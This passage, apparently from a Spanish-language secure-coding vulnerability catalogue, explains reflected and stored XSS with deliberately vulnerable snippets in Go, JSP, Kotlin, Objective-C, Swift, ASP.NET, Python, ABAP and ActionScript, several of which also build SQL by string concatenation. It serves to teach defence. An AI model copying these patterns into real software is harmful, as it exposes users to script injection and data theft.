contiene solo texto alfanumérico estándar. Si user
tiene un valor que incluye metacaracteres o código fuente, el explorador web ejecutará el código al tiempo que muestra la respuesta HTTP.
func someHandler(w http.ResponseWriter, r *http.Request){
...
row := db.QueryRow("SELECT name FROM users WHERE id =" + userid)
err := row.Scan(&name)
...
fmt.Fprintln(w, "Username is: ", name)
}
Example 1
, este código funciona correctamente cuando los valores de name
presentan un comportamiento correcto, pero no funciona para evitar ataques si no lo presentan. De nuevo, este código puede parecer menos peligroso, ya que el valor de name
se lee de una base de datos con contenido aparentemente administrado por la aplicación. Sin embargo, si el valor de name
se origina desde los datos que administró el usuario, la base de datos puede ser conductora de contenido malintencionado. Sin la validación adecuada de las entradas de todos los datos almacenados en la base de datos, un atacante puede ejecutar comandos malintencionados en el explorador web del usuario. Este tipo de ataque, conocido como XSS persistente (o almacenado) es especialmente insidioso, ya que el direccionamiento indirecto causado por el almacén de datos dificulta la identificación de la amenaza y aumenta la posibilidad de que el ataque afecte a varios usuarios. XSS se inició de este modo con los sitios web que ofrecen un "libro de visitas" a los visitantes. Los usuarios malintencionados incluyen JavaScript en las entradas del libro de visitas y todos los visitantes posteriores a la página del libro de visitas ejecutarían el código malintencionado.Example 1
, los datos se leen directamente de la solicitud HTTP y se reflejan en la respuesta HTTP. Los ataques XSS reflejados se producen cuando un atacante hace que un usuario proporcione contenido peligroso a una aplicación web vulnerable, que luego se refleja en el usuario y se ejecuta en el explorador web. El mecanismo más común para la entrega de contenido malintencionado es incluirlo como un parámetro en una dirección URL que se registra públicamente o se envía por correo electrónico directamente a las víctimas. Las direcciones URL creadas de esta manera constituyen el núcleo de muchas tramas de suplantación de identidad, mediante las cuales un usuario malintencionado convence a las víctimas para que visiten una dirección URL que hace referencia a un sitio vulnerable. Después de que el sitio refleja el contenido del atacante al usuario, se ejecuta el contenido y se continúa con la transferencia de información privada, como las cookies que pueden incluir información de la sesión, desde el equipo del usuario hacia el atacante, o se ejecutan otras actividades malintencionadas.Example 2
, la aplicación almacena datos peligrosos en una base de datos o en otro almacén de datos de confianza. Los datos peligrosos posteriormente se vuelven a leer en la aplicación y se incluyen en contenido dinámico. Los ataques XSS persistentes se producen cuando un usuario malintencionado inserta contenido peligroso en un almacén de datos que se lee posteriormente y se incluye en el contenido dinámico. Desde la perspectiva de un usuario malintencionado, el lugar óptimo para insertar contenido malintencionado es un área que se muestra a muchos usuarios o a usuarios particularmente interesantes. Los usuarios interesantes normalmente disponen de privilegios elevados en la aplicación o interactúan con información confidencial y valiosa para el usuario malintencionado. Si uno de estos usuarios ejecuta contenido malintencionado, el atacante puede realizar operaciones con privilegios en nombre del usuario u obtener acceso a datos confidenciales del usuario.
...
WebView webview = (WebView) findViewById(R.id.webview);
webview.getSettings().setJavaScriptEnabled(true);
String url = this.getIntent().getExtras().getString("url");
webview.loadUrl(url);
...
url
comienza por javascript:
, el código JavaScript que sigue se ejecuta en el contexto de la página web dentro de WebView.eid
, a partir de una solicitud HTTP y lo muestra al usuario.
<% String eid = request.getParameter("eid"); %>
...
Employee ID: <%= eid %>
eid
contiene solo texto alfanumérico estándar. Si eid
tiene un valor que incluye metacaracteres o código fuente, el explorador web ejecuta el código al tiempo que muestra la respuesta HTTP.
<%...
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);
if (rs != null) {
rs.next();
String name = rs.getString("name");
}
%>
Employee Name: <%= name %>
Example 2
, este código funciona correctamente cuando los valores de name
presentan un comportamiento correcto, pero no funciona para evitar ataques si no lo presentan. De nuevo, este código puede parecer menos peligroso, ya que el valor de name
se lee de una base de datos con contenido aparentemente administrado por la aplicación. Sin embargo, si el valor de name
se origina desde los datos que administró el usuario, la base de datos puede ser conductora de contenido malintencionado. Sin la validación de entrada adecuada en todos los datos almacenados en la base de datos, un atacante puede ejecutar comandos malintencionados en el explorador web del usuario. Este tipo de ataque, conocido como XSS persistente (o almacenado) es especialmente insidioso porque el direccionamiento indirecto causado por el almacén de datos hace que resulte más difícil identificar la amenaza y aumenta la posibilidad de que el ataque afecte a varios usuarios. XSS tiene su inicio en este formulario con los sitios web que ofrecen un "libro de visitas" a los visitantes. Los usuarios malintencionados incluyen JavaScript en las entradas del libro de visitas y todos los visitantes posteriores a la página del libro de visitas ejecutarían el código malintencionado.Example 1
, una fuente externa a la aplicación almacena datos peligrosos en una base de datos u otro almacén de datos y, posteriormente, la aplicación lee los datos peligrosos como datos de confianza y los incluye en el contenido dinámico.Example 2
, los datos se leen directamente de la solicitud HTTP y se reflejan en la respuesta HTTP. Los ataques XSS reflejados se producen cuando un usuario malintencionado hace que un usuario proporcione contenido peligroso a una aplicación web vulnerable, lo que se reflejará en el usuario y que el explorador web ejecutará. El mecanismo más común para la entrega de contenido malintencionado es incluirlo como un parámetro en una dirección URL que se registra públicamente o se envía por correo electrónico directamente a las víctimas. Las direcciones URL creadas de esta manera constituyen el núcleo de muchas tramas de suplantación de identidad, mediante las cuales un usuario malintencionado convence a las víctimas para que visiten una dirección URL que hace referencia a un sitio vulnerable. Después de que el sitio refleja el contenido del atacante al usuario, se ejecuta el contenido y se continúa con la transferencia de información privada, como las cookies que pueden incluir información de la sesión, desde el equipo del usuario hacia el atacante, o se ejecutan otras actividades malintencionadas.Example 3
, la aplicación almacena datos peligrosos en una base de datos o en otro almacén de datos de confianza. Los datos peligrosos posteriormente se vuelven a leer en la aplicación y se incluyen en contenido dinámico. Los ataques XSS persistentes se producen cuando un usuario malintencionado inserta contenido peligroso en un almacén de datos que se lee posteriormente y se incluye en el contenido dinámico. Desde la perspectiva de un usuario malintencionado, el lugar óptimo para insertar contenido malintencionado es un área que se muestra a muchos usuarios o a usuarios particularmente interesantes. Los usuarios interesantes normalmente disponen de privilegios elevados en la aplicación o interactúan con información confidencial y valiosa para el usuario malintencionado. Si uno de estos usuarios ejecuta contenido malintencionado, el usuario malintencionado puede realizar operaciones con privilegios en nombre del usuario o tener acceso a datos confidenciales de este.
...
val webview = findViewById<View>(R.id.webview) as WebView
webview.settings.javaScriptEnabled = true
val url = this.intent.extras!!.getString("url")
webview.loadUrl(url)
...
url
comienza por javascript:
, el código JavaScript que sigue se ejecuta en el contexto de la página web dentro de WebView.eid
, desde una solicitud de servlet HTTP y, a continuación, muestra el valor al usuario en la respuesta del servlet.
val eid: String = request.getParameter("eid")
...
val out: ServletOutputStream = response.getOutputStream()
out.print("Employee ID: $eid")
...
out.close()
...
eid
contiene solo texto alfanumérico estándar. Si eid
tiene un valor que incluye metacaracteres o código fuente, el explorador web ejecuta el código al tiempo que muestra la respuesta HTTP.
val stmt: Statement = conn.createStatement()
val rs: ResultSet = stmt.executeQuery("select * from emp where id=$eid")
rs.next()
val name: String = rs.getString("name")
...
val out: ServletOutputStream = response.getOutputStream()
out.print("Employee Name: $name")
...
out.close()
...
Example 2
, este código funciona correctamente cuando los valores de name
presentan un comportamiento correcto, pero no funciona para evitar ataques si no lo presentan. De nuevo, este código puede parecer menos peligroso, ya que el valor de name
se lee de una base de datos con contenido aparentemente administrado por la aplicación. Sin embargo, si el valor de name
se origina desde los datos que administró el usuario, la base de datos puede ser conductora de contenido malintencionado. Sin la validación de entrada adecuada en todos los datos almacenados en la base de datos, un atacante puede ejecutar comandos malintencionados en el explorador web del usuario. Este tipo de ataque, conocido como XSS persistente (o almacenado) es especialmente insidioso porque el direccionamiento indirecto causado por el almacén de datos hace que resulte más difícil identificar la amenaza y aumenta la posibilidad de que el ataque afecte a varios usuarios. XSS tiene su inicio en este formulario con los sitios web que ofrecen un "libro de visitas" a los visitantes. Los usuarios malintencionados incluyen JavaScript en las entradas del libro de visitas y todos los visitantes posteriores a la página del libro de visitas ejecutarían el código malintencionado.Example 1
, una fuente externa a la aplicación almacena datos peligrosos en una base de datos u otro almacén de datos y, posteriormente, la aplicación lee los datos peligrosos como datos de confianza y los incluye en el contenido dinámico.Example 2
, los datos se leen directamente de la solicitud HTTP y se reflejan en la respuesta HTTP. Los ataques XSS reflejados se producen cuando un usuario malintencionado hace que un usuario proporcione contenido peligroso a una aplicación web vulnerable, lo que se reflejará en el usuario y que el explorador web ejecutará. El mecanismo más común para la entrega de contenido malintencionado es incluirlo como un parámetro en una dirección URL que se registra públicamente o se envía por correo electrónico directamente a las víctimas. Las direcciones URL creadas de esta manera constituyen el núcleo de muchas tramas de suplantación de identidad, mediante las cuales un usuario malintencionado convence a las víctimas para que visiten una dirección URL que hace referencia a un sitio vulnerable. Después de que el sitio refleja el contenido del atacante al usuario, se ejecuta el contenido y se continúa con la transferencia de información privada, como las cookies que pueden incluir información de la sesión, desde el equipo del usuario hacia el atacante, o se ejecutan otras actividades malintencionadas.Example 3
, la aplicación almacena datos peligrosos en una base de datos o en otro almacén de datos de confianza. Los datos peligrosos posteriormente se vuelven a leer en la aplicación y se incluyen en contenido dinámico. Los ataques XSS persistentes se producen cuando un usuario malintencionado inserta contenido peligroso en un almacén de datos que se lee posteriormente y se incluye en el contenido dinámico. Desde la perspectiva de un usuario malintencionado, el lugar óptimo para insertar contenido malintencionado es un área que se muestra a muchos usuarios o a usuarios particularmente interesantes. Los usuarios interesantes normalmente disponen de privilegios elevados en la aplicación o interactúan con información confidencial y valiosa para el usuario malintencionado. Si uno de estos usuarios ejecuta contenido malintencionado, el usuario malintencionado puede realizar operaciones con privilegios en nombre del usuario o tener acceso a datos confidenciales de este.
...
@property (strong, nonatomic) NSString *webContentFromURL;
...
- (BOOL)application:(UIApplication *)application openURL:(NSURL *)url sourceApplication:(NSString *)sourceApplication annotation:(id)annotation {
...
[self setWebContentFromURL:[url host]];
...
...
...
@property (strong, nonatomic) WKWebView *webView;
...
AppDelegate *appDelegate = (AppDelegate *)[[UIApplication sharedApplication] delegate];
...
[_webView loadHTMLString:appDelegate.webContentFromURL] baseURL:nil];
...
...
@property (strong, nonatomic) WKWebView *webView;
@property (strong, nonatomic) UITextField *inputTextField;
...
[_webView loadHTMLString:_inputTextField.text baseURL:nil];
...
inputTextField
contiene solo texto alfanumérico estándar. Si el texto en inputTextField
incluye metacaracteres o código fuente, el explorador web puede ejecutar la entrada como código al tiempo que muestra la respuesta HTTP.
...
@property (strong, nonatomic) WKWebView *webView;
...
NSFetchRequest *fetchRequest = [[NSFetchRequest alloc] init];
NSEntityDescription *entity = [NSEntityDescription entityForName:@"Employee" inManagedObjectContext:context];
[fetchRequest setEntity:entity];
NSArray *fetchedObjects = [context executeFetchRequest:fetchRequest error:&error];
for (NSManagedObject *info in fetchedObjects) {
NSString msg = @"Hello, " + [info valueForKey:@"name"];
[_webView loadHTMLString:msg baseURL:nil]
...
}
...
Example 2
, este código funciona correctamente cuando los valores de name
presentan un comportamiento correcto, pero no funciona para evitar ataques si no lo presentan. De nuevo, este código puede parecer menos peligroso, ya que el valor de name
se lee de una base de datos con contenido aparentemente administrado por la aplicación. Sin embargo, si el valor de name
se origina desde los datos que administró el usuario, la base de datos puede ser conductora de contenido malintencionado. Sin la validación de entrada adecuada en todos los datos almacenados en la base de datos, un atacante puede ejecutar comandos malintencionados en el explorador web del usuario. Este tipo de ataque, conocido como XSS persistente (o almacenado) es especialmente insidioso porque el direccionamiento indirecto causado por el almacén de datos hace que resulte más difícil identificar la amenaza y aumenta la posibilidad de que el ataque afecte a varios usuarios. XSS tiene su inicio en este formulario con los sitios web que ofrecen un "libro de visitas" a los visitantes. Los usuarios malintencionados incluyen JavaScript en las entradas del libro de visitas y todos los visitantes posteriores a la página del libro de visitas ejecutarían el código malintencionado.Example 1
, una fuente externa a la aplicación de destino realiza una solicitud de URL mediante el esquema de URL personalizado de la aplicación de destino, y los datos sin validar de la solicitud de URL se leen posteriormente en la aplicación como datos de confianza y se incluyen en el contenido dinámico.Example 2
, los datos se leen directamente desde el componente de la interfaz de usuario controlado por el usuario y se reflejan en la respuesta HTTP. Los ataques XSS reflejados se producen cuando un usuario malintencionado hace que un usuario proporcione contenido peligroso a una aplicación web vulnerable, lo que se reflejará en el usuario y que el explorador web ejecutará. El mecanismo más común para la entrega de contenido malintencionado es incluirlo como un parámetro en una dirección URL que se registra públicamente o se envía por correo electrónico directamente a las víctimas. Las direcciones URL creadas de esta manera constituyen el núcleo de muchas tramas de suplantación de identidad, mediante las cuales un usuario malintencionado convence a las víctimas para que visiten una dirección URL que hace referencia a un sitio vulnerable. Después de que el sitio refleja el contenido del atacante al usuario, se ejecuta el contenido y se continúa con la transferencia de información privada, como las cookies que pueden incluir información de la sesión, desde el equipo del usuario hacia el atacante, o se ejecutan otras actividades malintencionadas.Example 3
, la aplicación almacena datos peligrosos en una base de datos o en otro almacén de datos de confianza. Los datos peligrosos posteriormente se vuelven a leer en la aplicación y se incluyen en contenido dinámico. Los ataques XSS persistentes se producen cuando un usuario malintencionado inserta contenido peligroso en un almacén de datos que se lee posteriormente y se incluye en el contenido dinámico. Desde la perspectiva de un usuario malintencionado, el lugar óptimo para insertar contenido malintencionado es un área que se muestra a muchos usuarios o a usuarios particularmente interesantes. Los usuarios interesantes normalmente disponen de privilegios elevados en la aplicación o interactúan con información confidencial y valiosa para el usuario malintencionado. Si uno de estos usuarios ejecuta contenido malintencionado, el usuario malintencionado puede realizar operaciones con privilegios en nombre del usuario o tener acceso a datos confidenciales de este.
...
func application(app: UIApplication, openURL url: NSURL, options: [String : AnyObject]) -> Bool {
...
let name = getQueryStringParameter(url.absoluteString, "name")
let html = "Hi \(name)"
let webView = WKWebView()
webView.loadHTMLString(html, baseURL:nil)
...
}
func getQueryStringParameter(url: String?, param: String) -> String? {
if let url = url, urlComponents = NSURLComponents(string: url), queryItems = (urlComponents.queryItems as? [NSURLQueryItem]) {
return queryItems.filter({ (item) in item.name == param }).first?.value!
}
return nil
}
...
loadHTMLString:
puede controlarla el usuario y JavaScript está habilitado de forma predeterminada en una WKWebView, el usuario puede escribir contenido arbitrario (incluidos scripts ejecutables) en WKWebView a través de solicitudes que usan el esquema de URL personalizado de la aplicación.
...
let webView : WKWebView
let inputTextField : UITextField
webView.loadHTMLString(inputTextField.text, baseURL:nil)
...
inputTextField
contiene solo texto alfanumérico estándar. Si el texto en inputTextField
incluye metacaracteres o código fuente, el explorador web puede ejecutar la entrada como código al tiempo que muestra la respuesta HTTP.
let fetchRequest = NSFetchRequest()
let entity = NSEntityDescription.entityForName("Employee", inManagedObjectContext: managedContext)
fetchRequest.entity = entity
do {
let results = try managedContext.executeFetchRequest(fetchRequest)
let result : NSManagedObject = results.first!
let name : String = result.valueForKey("name")
let msg : String = "Hello, \(name)"
let webView : UIWebView = UIWebView()
webView.loadHTMLString(msg, baseURL:nil)
} catch let error as NSError {
print("Error \(error)")
}
Example 2
, este código funciona correctamente cuando los valores de name
presentan un comportamiento correcto, pero no funciona para evitar ataques si no lo presentan. De nuevo, este código puede parecer menos peligroso, ya que el valor de name
se lee de una base de datos con contenido aparentemente administrado por la aplicación. Sin embargo, si el valor de name
se origina desde los datos que administró el usuario, la base de datos puede ser conductora de contenido malintencionado. Sin la validación de entrada adecuada en todos los datos almacenados en la base de datos, un atacante puede ejecutar comandos malintencionados en el explorador web del usuario. Este tipo de ataque, conocido como XSS persistente (o almacenado) es especialmente insidioso porque el direccionamiento indirecto causado por el almacén de datos hace que resulte más difícil identificar la amenaza y aumenta la posibilidad de que el ataque afecte a varios usuarios. XSS tiene su inicio en este formulario con los sitios web que ofrecen un "libro de visitas" a los visitantes. Los usuarios malintencionados incluyen JavaScript en las entradas del libro de visitas y todos los visitantes posteriores a la página del libro de visitas ejecutarían el código malintencionado.Example 1
, una fuente externa a la aplicación de destino realiza una solicitud de URL mediante el esquema de URL personalizado de la aplicación de destino, y los datos sin validar de la solicitud de URL se leen posteriormente en la aplicación como datos de confianza y se incluyen en el contenido dinámico.Example 2
, los datos se leen directamente desde el componente de la interfaz de usuario controlado por el usuario y se reflejan en la respuesta HTTP. Los ataques XSS reflejados se producen cuando un usuario malintencionado hace que un usuario proporcione contenido peligroso a una aplicación web vulnerable, lo que se reflejará en el usuario y que el explorador web ejecutará. El mecanismo más común para la entrega de contenido malintencionado es incluirlo como un parámetro en una dirección URL que se registra públicamente o se envía por correo electrónico directamente a las víctimas. Las direcciones URL creadas de esta manera constituyen el núcleo de muchas tramas de suplantación de identidad, mediante las cuales un usuario malintencionado convence a las víctimas para que visiten una dirección URL que hace referencia a un sitio vulnerable. Después de que el sitio refleja el contenido del atacante al usuario, se ejecuta el contenido y se continúa con la transferencia de información privada, como las cookies que pueden incluir información de la sesión, desde el equipo del usuario hacia el atacante, o se ejecutan otras actividades malintencionadas.Example 3
, la aplicación almacena datos peligrosos en una base de datos o en otro almacén de datos de confianza. Los datos peligrosos posteriormente se vuelven a leer en la aplicación y se incluyen en contenido dinámico. Los ataques XSS persistentes se producen cuando un usuario malintencionado inserta contenido peligroso en un almacén de datos que se lee posteriormente y se incluye en el contenido dinámico. Desde la perspectiva de un usuario malintencionado, el lugar óptimo para insertar contenido malintencionado es un área que se muestra a muchos usuarios o a usuarios particularmente interesantes. Los usuarios interesantes normalmente disponen de privilegios elevados en la aplicación o interactúan con información confidencial y valiosa para el usuario malintencionado. Si uno de estos usuarios ejecuta contenido malintencionado, el usuario malintencionado puede realizar operaciones con privilegios en nombre del usuario o tener acceso a datos confidenciales de este.
<script runat="server">
...
var retrieveOperation = TableOperation.Retrieve<EmployeeInfo>(partitionKey, rowKey);
var retrievedResult = employeeTable.Execute(retrieveOperation);
var employeeInfo = retrievedResult.Result as EmployeeInfo;
string name = employeeInfo.Name
...
EmployeeName.Text = name;
</script>
EmployeeName
es un control de formulario definido como se indica a continuación:Ejemplo 2: El siguiente segmento de código de ASP .NET es equivalente desde una perspectiva funcional al
<form runat="server">
...
<asp:Label id="EmployeeName" runat="server">
...
</form>
Example 1
, pero implementa mediante programación todos los elementos de formulario.
protected System.Web.UI.WebControls.Label EmployeeName;
...
var retrieveOperation = TableOperation.Retrieve<EmployeeInfo>(partitionKey, rowKey);
var retrievedResult = employeeTable.Execute(retrieveOperation);
var employeeInfo = retrievedResult.Result as EmployeeInfo;
string name = employeeInfo.Name
...
EmployeeName.Text = name;
Name
tienen un comportamiento correcto, pero no funcionan para evitar ataques si no lo tienen. Este código puede parecer menos peligroso porque el valor de Name
se lee desde un servicio de almacenamiento proporcionado por la nube con contenido aparentemente administrado por la aplicación. Sin embargo, si el valor de Name
se origina desde los datos que administró el usuario, el servicio de almacenamiento proporcionado por la nube puede ser conductor de contenido malintencionado. Sin la validación de entrada adecuada en todos los datos almacenados en la base de datos, un atacante puede ejecutar comandos malintencionados en el explorador web del usuario. Este tipo de ataque, conocido como Inter-Component Communication Cloud XSS,es especialmente insidioso porque el direccionamiento indirecto causado por el almacén de datos hace más difícil identificar la amenaza y aumenta la posibilidad de que el ataque afecte a varios usuarios. XSS tiene su inicio en este formulario con los sitios web que ofrecen un "libro de visitas" a los visitantes. Los usuarios malintencionados incluyen JavaScript en las entradas del libro de visitas y todos los visitantes posteriores a la página del libro de visitas ejecutarían el código malintencionado.
<script runat="server">
...
EmployeeID.Text = Login.Text;
...
</script>
Login
y EmployeeID
son controles de formulario definidos de la siguiente forma:Ejemplo 4: El siguiente segmento de código de ASP.NET muestra el método de implementación mediante programación del
<form runat="server">
<asp:TextBox runat="server" id="Login"/>
...
<asp:Label runat="server" id="EmployeeID"/>
</form>
Example 3
.
protected System.Web.UI.WebControls.TextBox Login;
protected System.Web.UI.WebControls.Label EmployeeID;
...
EmployeeID.Text = Login.Text;
Example 1
y el Example 2
, estos ejemplos funcionan correctamente si Login
contiene solo texto alfanumérico estándar. Si Login
tiene un valor que incluye metacaracteres o código fuente, el explorador web ejecutará el código al tiempo que muestra la respuesta HTTP.Example 1
y el Example 2
, la aplicación almacena datos peligrosos en una base de datos o en otro almacén de datos de confianza. Los datos peligrosos posteriormente se vuelven a leer en la aplicación y se incluyen en contenido dinámico. Los ataques XSS en la nube por comunicación entre componentes se producen cuando un usuario malintencionado inyecta contenido peligroso en un almacén de datos que más adelante se lee e incluye en el contenido dinámico. Desde la perspectiva de un usuario malintencionado, el lugar óptimo para insertar contenido malintencionado es un área que se muestra a muchos usuarios o a usuarios particularmente interesantes. Los usuarios interesantes normalmente disponen de privilegios elevados en la aplicación o interactúan con información confidencial y valiosa para el usuario malintencionado. Si uno de estos usuarios ejecuta contenido malintencionado, el usuario malintencionado puede realizar operaciones con privilegios en nombre del usuario o tener acceso a datos confidenciales de este.Example 3
y el Example 4
, los datos se leen directamente de la solicitud HTTP y se reflejan en la respuesta HTTP. Los ataques XSS reflejados se producen cuando un usuario malintencionado hace que un usuario proporcione contenido peligroso a una aplicación web vulnerable, lo que se reflejará en el usuario y que el explorador web ejecutará. El mecanismo más común para la entrega de contenido malintencionado es incluirlo como un parámetro en una dirección URL que se registra públicamente o se envía por correo electrónico directamente a las víctimas. Las direcciones URL creadas de esta manera constituyen el núcleo de muchas tramas de suplantación de identidad, mediante las cuales un usuario malintencionado convence a las víctimas para que visiten una dirección URL que hace referencia a un sitio vulnerable. Después de que el sitio refleja el contenido del atacante al usuario, se ejecuta el contenido y se continúa con la transferencia de información privada, como las cookies que pueden incluir información de la sesión, desde el equipo del usuario hacia el atacante, o se ejecutan otras actividades malintencionadas.eid
, de una solicitud HTTP y lo muestra al usuario.
req = self.request() # fetch the request object
eid = req.field('eid',None) # tainted request message
...
self.writeln("Employee ID:" + eid)
eid
contiene solo texto alfanumérico estándar. Si eid
tiene un valor que incluye metacaracteres o código fuente, el explorador web ejecuta el código al tiempo que muestra la respuesta HTTP.
...
cursor.execute("select * from emp where id="+eid)
row = cursor.fetchone()
self.writeln('Employee name: ' + row["emp"]')
...
Example 1
, este código funciona correctamente cuando los valores de name
presentan un comportamiento correcto, pero no funciona para evitar ataques si no lo presentan. De nuevo, este código puede parecer menos peligroso, ya que el valor de name
se lee de una base de datos con contenido aparentemente administrado por la aplicación. Sin embargo, si el valor de name
se origina desde los datos que administró el usuario, la base de datos puede ser conductora de contenido malintencionado. Sin la validación de entrada adecuada en todos los datos almacenados en la base de datos, un atacante puede ejecutar comandos malintencionados en el explorador web del usuario. Este tipo de ataque, conocido como XSS persistente (o almacenado) es especialmente insidioso porque el direccionamiento indirecto causado por el almacén de datos hace que resulte más difícil identificar la amenaza y aumenta la posibilidad de que el ataque afecte a varios usuarios. XSS tiene su inicio en este formulario con los sitios web que ofrecen un "libro de visitas" a los visitantes. Los usuarios malintencionados incluyen JavaScript en las entradas del libro de visitas y todos los visitantes posteriores a la página del libro de visitas ejecutarían el código malintencionado.Example 1
, los datos se leen directamente de la solicitud HTTP y se reflejan en la respuesta HTTP. Los ataques XSS reflejados se producen cuando un usuario malintencionado hace que un usuario proporcione contenido peligroso a una aplicación web vulnerable, lo que se reflejará en el usuario y que el explorador web ejecutará. El mecanismo más común para la entrega de contenido malintencionado es incluirlo como un parámetro en una dirección URL que se registra públicamente o se envía por correo electrónico directamente a las víctimas. Las direcciones URL creadas de esta manera constituyen el núcleo de muchas tramas de suplantación de identidad, mediante las cuales un usuario malintencionado convence a las víctimas para que visiten una dirección URL que hace referencia a un sitio vulnerable. Después de que el sitio refleja el contenido del atacante al usuario, se ejecuta el contenido y se continúa con la transferencia de información privada, como las cookies que pueden incluir información de la sesión, desde el equipo del usuario hacia el atacante, o se ejecutan otras actividades malintencionadas.Example 2
, la aplicación almacena datos peligrosos en una base de datos o en otro almacén de datos de confianza. Los datos peligrosos posteriormente se vuelven a leer en la aplicación y se incluyen en contenido dinámico. Los ataques XSS persistentes se producen cuando un usuario malintencionado inserta contenido peligroso en un almacén de datos que se lee posteriormente y se incluye en el contenido dinámico. Desde la perspectiva de un usuario malintencionado, el lugar óptimo para insertar contenido malintencionado es un área que se muestra a muchos usuarios o a usuarios particularmente interesantes. Los usuarios interesantes normalmente disponen de privilegios elevados en la aplicación o interactúan con información confidencial y valiosa para el usuario malintencionado. Si uno de estos usuarios ejecuta contenido malintencionado, el usuario malintencionado puede realizar operaciones con privilegios en nombre del usuario o tener acceso a datos confidenciales de este.
...
DATA: BEGIN OF itab_employees,
eid TYPE employees-itm,
name TYPE employees-name,
END OF itab_employees,
itab LIKE TABLE OF itab_employees.
...
itab_employees-eid = '...'.
APPEND itab_employees TO itab.
SELECT *
FROM employees
INTO CORRESPONDING FIELDS OF TABLE itab_employees
FOR ALL ENTRIES IN itab
WHERE eid = itab-eid.
ENDSELECT.
...
response->append_cdata( 'Employee Name: ').
response->append_cdata( itab_employees-name ).
...
name
tienen un comportamiento correcto, pero no funciona para evitar ataques si no lo tienen. Este código puede parecer menos peligroso porque el valor de name
se lee desde una base de datos con contenido aparentemente administrado por la aplicación Sin embargo, si el valor de name
se origina desde los datos que administró el usuario, la base de datos puede ser conductora de contenido malintencionado. Sin la validación de entrada adecuada en todos los datos almacenados en la base de datos, un atacante puede ejecutar comandos malintencionados en el explorador web del usuario. Este tipo de ataque, conocido como XSS persistente (o almacenado) es especialmente insidioso porque el direccionamiento indirecto causado por el almacén de datos hace que resulte más difícil identificar la amenaza y aumenta la posibilidad de que el ataque afecte a varios usuarios. XSS tiene su inicio en este formulario con los sitios web que ofrecen un "libro de visitas" a los visitantes. Los usuarios malintencionados incluyen JavaScript en las entradas del libro de visitas y todos los visitantes posteriores a la página del libro de visitas ejecutarían el código malintencionado.eid
, desde la solicitud HTTP y lo muestra al usuario.
...
eid = request->get_form_field( 'eid' ).
...
response->append_cdata( 'Employee ID: ').
response->append_cdata( eid ).
...
Example 1
, este código funciona correctamente si eid
contiene solo texto alfanumérico estándar. Si eid
tiene un valor que incluye metacaracteres o código fuente, el explorador web ejecuta el código al tiempo que muestra la respuesta HTTP.Example 1
, la aplicación almacena datos peligrosos en una base de datos o en otro almacén de datos de confianza. Los datos peligrosos posteriormente se vuelven a leer en la aplicación y se incluyen en contenido dinámico. Los ataques XSS persistentes se producen cuando un usuario malintencionado inserta contenido peligroso en un almacén de datos que se lee posteriormente y se incluye en el contenido dinámico. Desde la perspectiva de un usuario malintencionado, el lugar óptimo para insertar contenido malintencionado es un área que se muestra a muchos usuarios o a usuarios particularmente interesantes. Los usuarios interesantes normalmente disponen de privilegios elevados en la aplicación o interactúan con información confidencial y valiosa para el usuario malintencionado. Si uno de estos usuarios ejecuta contenido malintencionado, el usuario malintencionado puede realizar operaciones con privilegios en nombre del usuario o tener acceso a datos confidenciales de este.Example 2
, los datos se leen directamente de la solicitud HTTP y se reflejan en la respuesta HTTP. Los ataques XSS reflejados se producen cuando un usuario malintencionado hace que un usuario proporcione contenido peligroso a una aplicación web vulnerable, lo que se reflejará en el usuario y que el explorador web ejecutará. El mecanismo más común para la entrega de contenido malintencionado es incluirlo como un parámetro en una dirección URL que se registra públicamente o se envía por correo electrónico directamente a las víctimas. Las direcciones URL creadas de esta manera constituyen el núcleo de muchas tramas de suplantación de identidad, mediante las cuales un usuario malintencionado convence a las víctimas para que visiten una dirección URL que hace referencia a un sitio vulnerable. Después de que el sitio refleja el contenido del atacante al usuario, se ejecuta el contenido y se continúa con la transferencia de información privada, como las cookies que pueden incluir información de la sesión, desde el equipo del usuario hacia el atacante, o se ejecutan otras actividades malintencionadas.
stmt.sqlConnection = conn;
stmt.text = "select * from emp where id="+eid;
stmt.execute();
var rs:SQLResult = stmt.getResult();
if (null != rs) {
var name:String = String(rs.data[0]);
var display:TextField = new TextField();
display.htmlText = "Employee Name: " + name;
}
name
tienen un comportamiento correcto, pero no funciona para evitar ataques si no lo tienen. Este código puede parecer menos peligroso porque el valor de name
se lee desde una base de datos con contenido aparentemente administrado por la aplicación Sin embargo, si el valor de name
se origina desde los datos que administró el usuario, la base de datos puede ser conductora de contenido malintencionado. Sin la validación de entrada adecuada en todos los datos almacenados en la base de datos, un atacante puede ejecutar comandos malintencionados en el explorador web del usuario. Este tipo de ataque, conocido como XSS persistente (o almacenado) es especialmente insidioso porque el direccionamiento indirecto causado por el almacén de datos hace que resulte más difícil identificar la amenaza y aumenta la posibilidad de que el ataque afecte a varios usuarios. XSS tiene su inicio en este formulario con los sitios web que ofrecen un "libro de visitas" a los visitantes. Los usuarios malintencionados incluyen JavaScript en las entradas del libro de visitas y todos los visitantes posteriores a la página del libro de visitas ejecutarían el código malintencionado.eid
, a partir de una solicitud HTTP y lo muestra al usuario.
var params:Object = LoaderInfo(this.root.loaderInfo).parameters;
var eid:String = String(params["eid"]);
...
var display:TextField = new TextField();
display.htmlText = "Employee ID: " + eid;
...
Example 1
, este código funciona correctamente si eid
contiene solo texto alfanumérico estándar. Si eid
tiene un valor que incluye metacaracteres o código fuente, el explorador web ejecuta el código al tiempo que muestra la respuesta HTTP.Example 1
, la aplicación almacena datos peligrosos en una base de datos o en otro almacén de datos de confianza. Los datos peligrosos posteriormente se vuelven a leer en la aplicación y se incluyen en contenido dinámico. Los ataques XSS persistentes se producen cuando un usuario malintencionado inserta contenido peligroso en un almacén de datos que se lee posteriormente y se incluye en el contenido dinámico. Desde la perspectiva de un usuario malintencionado, el lugar óptimo para insertar contenido malintencionado es un área que se muestra a muchos usuarios o a usuarios particularmente interesantes. Los usuarios interesantes normalmente disponen de privilegios elevados en la aplicación o interactúan con información confidencial y valiosa para el usuario malintencionado. Si uno de estos usuarios ejecuta contenido malintencionado, el usuario malintencionado puede realizar operaciones con privilegios en nombre del usuario o tener acceso a datos confidenciales de este.Example 2
